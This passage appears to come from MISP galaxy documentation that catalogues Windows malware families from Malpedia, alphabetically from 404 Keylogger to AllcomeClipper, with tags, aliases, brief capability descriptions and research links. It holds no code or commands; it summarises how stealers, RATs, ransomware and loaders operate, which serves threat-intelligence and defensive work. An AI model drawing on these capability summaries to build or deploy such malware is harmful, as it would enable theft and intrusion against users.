404 Keylogger is also known as:

- 404KeyLogger
- Snake Keylogger

*Table 2391. Table References*
**4h_rat**

The tag is: *misp-galaxy:malpedia="4h_rat"*

4h_rat is also known as:

---

**Table 2392. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Table 2392. Table References" /></td>
</tr>
</tbody>
</table>

---
5.t Downloader

Downloader used in suspected APT attack against Vietnam.

The tag is: `misp-galaxy:malpedia="5.t Downloader"`

5.t Downloader is also known as:

Table 2393. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader</a></td>
</tr>
</tbody>
</table>

7ev3n

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

The tag is: `misp-galaxy:malpedia="7ev3n"`

7ev3n is also known as:

Table 2394. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n">https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/">https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n">https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n</a></td>
</tr>
</tbody>
</table>
8Base

The 8Base ransomware group has remained relatively unknown despite the massive spike in activity in Summer of 2023. The group utilizes encryption paired with “name-and-shame” techniques to compel their victims to pay their ransoms. 8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery. Samples of their ransomware show they are using customized Phobos with SmokeLoader.

The tag is: misp-galaxy:malpedia="8Base"

8Base is also known as:

**Table 2395. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.8base">https://malpedia.caad.fkie.fraunhofer.de/details/win.8base</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/">https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/rivitna2/status/1674718854549831681">https://twitter.com/rivitna2/status/1674718854549831681</a></td>
</tr>
<tr>
<td><a href="https://socradar.io/dark-web-profile-8base-ransomware/">https://socradar.io/dark-web-profile-8base-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2023/05/unmasking-ransomware-using-stylometric.html">https://blog.bushidotoken.net/2023/05/unmasking-ransomware-using-stylometric.html</a></td>
</tr>
</tbody>
</table>

8.T Dropper

8T_Dropper has been used by Chinese threat actor TA428 in order to install Cotx RAT onto victim’s machines during Operation LagTime IT. According to Proofpoint the attack was developed against a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. The dropper was delivered through an RTF document exploiting CVE-2018-0798.

The tag is: misp-galaxy:malpedia="8.T Dropper"

8.t Dropper is also known as:

- 8t_dropper
- RoyalRoad

**Table 2396. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
9002 RAT

9002 RAT is a Remote Access Tool typically observed to be used by an APT to control a victim’s
machine. It has been spread over via zero day exploits (e.g. targeting Internet Explorer) as well as via email attachments. The infection chain starts by opening a .LNK (an OLE packager shell object) that executes a Powershell command.

The tag is: **misp-galaxy:malpedia=“9002 RAT”**

9002 RAT is also known as:

- HOMEUNIX
- Hydraq
- McRAT

<table>
<thead>
<tr>
<th>Table 2397. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.9002">https://malpedia.caad.fkie.fraunhofer.de/details/win.9002</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-express">https://www.secureworks.com/research/threat-profiles/bronze-express</a></td>
</tr>
<tr>
<td><a href="https://www.infopoint-security.de/medien/the-elderwood-project.pdf">https://www.infopoint-security.de/medien/the-elderwood-project.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html">https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0001/">https://attack.mitre.org/groups/G0001/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-keystone">https://www.secureworks.com/research/threat-profiles/bronze-keystone</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-firestone">https://www.secureworks.com/research/threat-profiles/bronze-firestone</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-union">https://www.secureworks.com/research/threat-profiles/bronze-union</a></td>
</tr>
<tr>
<td><a href="https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn">https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn</a></td>
</tr>
<tr>
<td><a href="https://www-west.symantec.com/content/dam/symantec/docs/security-center/whitepapers/elderwood-project-12-en.pdf">https://www-west.symantec.com/content/dam/symantec/docs/security-center/whitepapers/elderwood-project-12-en.pdf</a></td>
</tr>
</tbody>
</table>
Abaddon

Uses Discord as C&C, has ransomware feature.

The tag is: misp-galaxy:malpedia="Abaddon"

Abaddon is also known as:

Table 2398. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon">https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon</a></td>
</tr>
</tbody>
</table>

AbaddonPOS

MajorGeeks describes this malware as trying to locate credit card data by reading the memory of all processes except itself by first blacklisting its own PID using the GetCurrentProcessId API. Once that data is discovered, it sends this data back to a command and control server using a custom binary protocol instead of HTTP.

The tag is: misp-galaxy:malpedia="AbaddonPOS"

AbaddonPOS is also known as:

- PinkKite
- TinyPOS

Table 2399. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/operation-synctrek-e5013df8d167">https://medium.com/s2wlab/operation-synctrek-e5013df8d167</a></td>
</tr>
</tbody>
</table>
abantes

The tag is: misp-galaxy:malpedia="abantes"

abantes is also known as:

Table 2400. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.abantes">https://malpedia.caad.fkie.fraunhofer.de/details/win.abantes</a></td>
</tr>
</tbody>
</table>

Abbath Banker

The tag is: misp-galaxy:malpedia="Abbath Banker"

Abbath Banker is also known as:

Table 2401. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker">https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker</a></td>
</tr>
</tbody>
</table>

AbSent Loader

The tag is: misp-galaxy:malpedia="AbSent Loader"

AbSent Loader is also known as:

Table 2402. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cocaman/status/1260069549069733888">https://twitter.com/cocaman/status/1260069549069733888</a></td>
</tr>
<tr>
<td><a href="https://github.com/Tlgyt/AbSent-Loader">https://github.com/Tlgyt/AbSent-Loader</a></td>
</tr>
</tbody>
</table>

ACBackdoor (Windows)

A Linux backdoor that was apparently ported to Windows. This entry represents the Windows version. It appears the Linux version was written first and the Windows version was ported later, without full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: misp-galaxy:malpedia="ACBackdoor (Windows)"

ACBackdoor (Windows) is also known as:

Table 2403. Table References
ACEHASH

ACEHASH is described by FireEye as combined credential harvester that consists of two components, a loader and encrypted/compressed payload. To execute, a password is necessary (e.g. 9839D7F1A0) and the individual modules are addressed with parameters (-m, -w, -h).

The tag is: `misp-galaxy:malpedia="ACEHASH"`

ACEHASH is also known as:

Table 2404. Table References

AcidBox

Unit42 found AcidBox in February 2019 and describes it as a malware family used by an unknown threat actor in 2017 against Russian entities, as stated by Dr.Web. It reused and improved an exploit for VirtualBox previously used by Turla. The malware itself is a modular toolkit, featuring both usermode and kernelmode components and anti-analysis techniques such as stack-based string obfuscation or dynamic XOR-encoded API usage.

The tag is: `misp-galaxy:malpedia="AcidBox"`

AcidBox is also known as:

- MagicScroll

Table 2405. Table References
AcridRain

AcridRain is a password stealer written in C/C++. This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.

The tag is: misp-galaxy:malpedia="AcridRain"

AcridRain is also known as:

Table 2406. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain">https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain</a></td>
</tr>
</tbody>
</table>

Acronym

The tag is: misp-galaxy:malpedia="Acronym"

Acronym is also known as:

Table 2407. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym">https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym</a></td>
</tr>
</tbody>
</table>

Action RAT

The tag is: misp-galaxy:malpedia="Action RAT"

Action RAT is also known as:

Table 2408. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat</a></td>
</tr>
</tbody>
</table>
Adamantium Thief

The tag is: `misp-galaxy:malpedia="Adamantium Thief"`

Adamantium Thief is also known as:

Table 2409. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.adamantium_thief">https://malpedia.caad.fkie.fraunhofer.de/details/win.adamantium_thief</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ClearskySec/status/1377176015189929989">https://twitter.com/ClearskySec/status/1377176015189929989</a></td>
</tr>
<tr>
<td><a href="https://github.com/LimerBoy/Adamantium-Thief">https://github.com/LimerBoy/Adamantium-Thief</a></td>
</tr>
</tbody>
</table>

AdamLocker

Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim's system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.

The tag is: `misp-galaxy:malpedia="AdamLocker"`

AdamLocker is also known as:

Table 2410. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.adamLocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.adamLocker</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JaromirHorejsi/status/813712587997249536">https://twitter.com/JaromirHorejsi/status/813712587997249536</a></td>
</tr>
</tbody>
</table>

Adhubllka

Some Ransomware distributed by TA547 in Australia

The tag is: `misp-galaxy:malpedia="Adhubllka"`

Adhubllka is also known as:

Table 2411. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka">https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka</a></td>
</tr>
</tbody>
</table>
**AdKoob**

The tag is: `misp-galaxy:malpedia="AdKoob"`

AdKoob is also known as:

*Table 2412. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob">https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob</a></td>
</tr>
</tbody>
</table>

**AdvisorsBot**

AdvisorsBot is a downloader named after early command and control domains that all contained the word "advisors". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.

The tag is: `misp-galaxy:malpedia="AdvisorsBot"`

AdvisorsBot is also known as:

*Table 2413. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot</a></td>
</tr>
<tr>
<td><a href="https://www.bromium.com/second-stage-attack-analysis/">https://www.bromium.com/second-stage-attack-analysis/</a></td>
</tr>
</tbody>
</table>

**Adylkuzz**

The tag is: `misp-galaxy:malpedia="Adylkuzz"`

Adylkuzz is also known as:

*Table 2414. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz">https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz</a></td>
</tr>
</tbody>
</table>
AESRT
Ransomware written using .NET.

The tag is: misp-galaxy:malpedia="AESRT"

AESRT is also known as:

Table 2415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[malpedia.caad.fkie.fraunhofer.de/details/win.aesrt]</td>
</tr>
<tr>
<td>[<a href="http://www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants">www.fortinet.com/blog/threat-research/ransomware-roundup-new-vohuk-scarecrow-and-aerst-variants</a>]</td>
</tr>
</tbody>
</table>

Afrodita

The tag is: misp-galaxy:malpedia="Afrodita"

Afrodita is also known as:

Table 2416. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[malpedia.caad.fkie.fraunhofer.de/details/win.afrodita]</td>
</tr>
<tr>
<td>[dissectingmalwa.re/not-so-nice-after-all-afrodita-ransomware.html]</td>
</tr>
<tr>
<td>[twitter.com/CPResearch/status/1201957880909484033]</td>
</tr>
<tr>
<td>[github.com/albertzsigovits/malware-notes/blob/master/Afrodita.md]</td>
</tr>
</tbody>
</table>

AgendaCrypt

Ransomware written in Go.

The tag is: misp-galaxy:malpedia="AgendaCrypt"

AgendaCrypt is also known as:

- Agenda
- Qilin

Table 2417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>[malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt]</td>
</tr>
<tr>
<td>[<a href="http://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/">www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/</a>]</td>
</tr>
</tbody>
</table>
Agent.BTZ

The tag is: misp-galaxy:malpedia="Agent.BTZ"

Agent.BTZ is also known as:

- ComRAT
- Minit
- Sun rootkit

Table 2418. Table References

Links

- [https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz](https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz)
- [https://unit42.paloaltonetworks.com/ironnetinjector/](https://unit42.paloaltonetworks.com/ironnetinjector/)
- [https://ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d](https://ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d)
- [https://www.secureworks.com/research/threat-profiles/iron-hunter](https://www.secureworks.com/research/threat-profiles/iron-hunter)
- [https://cdn.muckrock.com/foia_files/2021/02/16/21R019_RESPONSE.pdf](https://cdn.muckrock.com/foia_files/2021/02/16/21R019_RESPONSE.pdf)
- [https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a](https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a)
- [https://docs.broadcom.com/doc/waterbug-attack-group](https://docs.broadcom.com/doc/waterbug-attack-group)
- [https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/](https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/)
- [https://artemonsecurity.com/snake_whitepaper.pdf](https://artemonsecurity.com/snake_whitepaper.pdf)
Agent Tesla

A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.

The tag is: misp-galaxy:malpedia="Agent Tesla"

Agent Tesla is also known as:

- AgentTesla
- AgentTesla
- Negasteal

Table 2419. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla">https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/">https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/28202">https://isc.sans.edu/diary/28202</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/preventing-agenttesla">https://blog.minerva-labs.com/preventing-agenttesla</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/BM38OshcozE">https://youtu.be/BM38OshcozE</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla">https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla</a></td>
</tr>
<tr>
<td><a href="https://guillaumeorlando.github.io/AgentTesla">https://guillaumeorlando.github.io/AgentTesla</a></td>
</tr>
<tr>
<td><a href="https://malwatch.github.io/posts/agent-tesla-malware-analysis/">https://malwatch.github.io/posts/agent-tesla-malware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack">https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2021/11/02/adults-only-malware-lures">https://inquest.net/blog/2021/11/02/adults-only-malware-lures</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-galleon">http://www.secureworks.com/research/threat-profiles/gold-galleon</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/originlogger/">https://unit42.paloaltonetworks.com/originlogger/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/">https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/">https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html">https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols">https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols</a></td>
</tr>
<tr>
<td><a href="https://menshaway.blogspot.com/2021/04/agenttesla-malware.html">https://menshaway.blogspot.com/2021/04/agenttesla-malware.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Q9_1xNbVQPY">https://www.youtube.com/watch?v=Q9_1xNbVQPY</a></td>
</tr>
<tr>
<td><a href="https://guillaumeorlando.github.io/GorgonInfectionchain">https://guillaumeorlando.github.io/GorgonInfectionchain</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1392219299696152578">https://twitter.com/MsftSecIntel/status/1392219299696152578</a></td>
</tr>
<tr>
<td><a href="https://www.ciphertechsolutions.com/roboski-global-recovery-automation/">https://www.ciphertechsolutions.com/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/">https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/</a></td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/agenttesla-full-analysis-api-hashing/">https://embee-research.ghost.io/agenttesla-full-analysis-api-hashing/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla">https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla</a></td>
</tr>
<tr>
<td><a href="https://www.inde.nz/blog/inside-agenttesla">https://www.inde.nz/blog/inside-agenttesla</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/darktortilla-malware-analysis">https://www.secureworks.com/research/darktortilla-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/hxaeWyK8gMI">https://youtu.be/hxaeWyK8gMI</a></td>
</tr>
<tr>
<td><a href="https://forensicitguy.github.io/agenttesla-vba-certutil-download/">https://forensicitguy.github.io/agenttesla-vba-certutil-download/</a></td>
</tr>
<tr>
<td><a href="https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/">https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/40000d46">https://community.riskiq.com/article/40000d46</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla">https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/">https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor">https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor</a></td>
</tr>
</tbody>
</table>
AgfSpy

The agfSpy backdoor retrieves configuration and commands from its C&C server. These commands allow the backdoor to execute shell commands and send the execution results back to the server. It also enumerates directories and can list, upload, download, and execute files, among other functions. The capabilities of agfSpy are very similar to dneSpy, except each backdoor uses a different C&C server and various formats in message exchanges.

The tag is: misp-galaxy:malpedia="AgfSpy"

AgfSpy is also known as:

Table 2420. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy">https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy</a></td>
</tr>
</tbody>
</table>

Ahtapot

The tag is: misp-galaxy:malpedia="Ahtapot"
Ahtapot is also known as:

Table 2421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ahtapot

Akira (Windows)

The tag is: misp-galaxy:malpedia="Akira (Windows)"

Akira (Windows) is also known as:

Table 2422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.akira
https://stairwell.com/resources/akira-pulling-on-the-chains-of-ransomware/
https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/
https://decoded.avast.io/threatresearch/decrypted-akira-ransomware/
https://twitter.com/MalGamy12/status/1651972583615602694

Albaniiutas

The tag is: misp-galaxy:malpedia="Albaniiutas"

Albaniiutas is also known as:

- BlueTraveller

Table 2423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas
https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia
https://blog.group-ib.com/task
Aldibot

According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.

This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine's hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

The tag is: `misp-galaxy:malpedia="Aldibot"`

Aldibot is also known as:

Table 2424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Alfonso Stealer

The tag is: `misp-galaxy:malpedia="Alfonso Stealer"`

Alfonso Stealer is also known as:

Table 2425. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1344352253294104576">https://twitter.com/3xp0rtblog/status/1344352253294104576</a></td>
</tr>
</tbody>
</table>

Project Alice

The tag is: `misp-galaxy:malpedia="Project Alice"`

Project Alice is also known as:
• AliceATM
• PrAlice

Table 2426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm">https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html">https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html</a></td>
</tr>
</tbody>
</table>

Alina POS

The tag is: mist-galaxy:malpedia="Alina POS"

Alina POS is also known as:

• alina_eagle
• alina_spark
• katrina

Table 2427. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos">https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos</a></td>
</tr>
<tr>
<td><a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina%E2%80%94Casting-a-Shadow-on-POS/">https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Casting-a-Shadow-on-POS/</a></td>
</tr>
<tr>
<td><a href="http://www.xylibox.com/2013/02/alina-34-pos-malware.html">http://www.xylibox.com/2013/02/alina-34-pos-malware.html</a></td>
</tr>
</tbody>
</table>

AllaKore

AllaKore is a simple Remote Access Tool written in Delphi, first observed in 2015 but still in early
stages of development. It implements the RFB protocol which uses frame buffers and thus is able to send back only the changes of screen frames to the controller, speeding up the transport and visualization control.

The tag is: *misp-galaxy:malpedia=*"AllaKore"

AllaKore is also known as:

**Table 2428. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore">https://malpedia.caad.fkie.fraunhofer.de/details/win.allakore</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/07/sidecopy.html">https://blog.talosintelligence.com/2021/07/sidecopy.html</a></td>
</tr>
<tr>
<td><a href="https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt">https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt</a></td>
</tr>
<tr>
<td><a href="https://www.team-cymru.com/post/allakore-d-the-sidecopy-train">https://www.team-cymru.com/post/allakore-d-the-sidecopy-train</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/_re_fox/status/1212070711206064131">https://twitter.com/_re_fox/status/1212070711206064131</a></td>
</tr>
<tr>
<td><a href="https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d">https://sebdraven.medium.com/copy-cat-of-apt-sidewinder-1893059ca68d</a></td>
</tr>
<tr>
<td><a href="https://github.com/Anderson-D/AllaKore">https://github.com/Anderson-D/AllaKore</a></td>
</tr>
</tbody>
</table>

**Allaple**

The tag is: *misp-galaxy:malpedia=*"Allaple"

Allaple is also known as:

- Starman

**Table 2429. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple">https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple</a></td>
</tr>
</tbody>
</table>
AllcomeClipper

